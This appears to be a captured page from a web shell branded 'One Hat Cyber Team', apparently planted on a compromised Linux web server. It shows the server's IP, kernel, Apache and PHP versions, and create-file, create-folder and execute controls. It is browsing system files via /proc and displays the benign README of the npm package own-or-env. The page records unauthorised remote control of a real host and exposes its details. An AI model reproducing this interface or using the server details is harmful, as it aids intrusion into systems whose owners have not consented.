One Hat Cyber Team
Your IP :
10.30.1.1
Server IP :
103.148.201.5
Server :
Linux web-olt 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
Server Software :
Apache/2.4.52 (Ubuntu)
PHP Version :
8.1.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
668276
/
root
/
usr
/
share
/
doc
/
node-own-or-env
/
View File Name :
README.md
# own-or-env Use an objects own property, or an environment variable. Optionally treat as a boolean if the env should be set to 1 or 0. ## API `ownOrEnv(object, field, env, boolean)` Use the `object[field]` if it's an own property, otherwise use the named environent variable. If `boolean` is set to `true`, then cast to a boolean flag. ## USAGE ```js // will set doTheThing to true based on config.doThing, falling back // to reading process.env.DO_THING, where '0' is treated as false. var doTheThing = ownOrEnv(config, 'doThing', 'DO_THING', true) // just treat this one as a string, not a boolean flag var file = ownOrEnv(config, 'file', 'MY_FILE') ```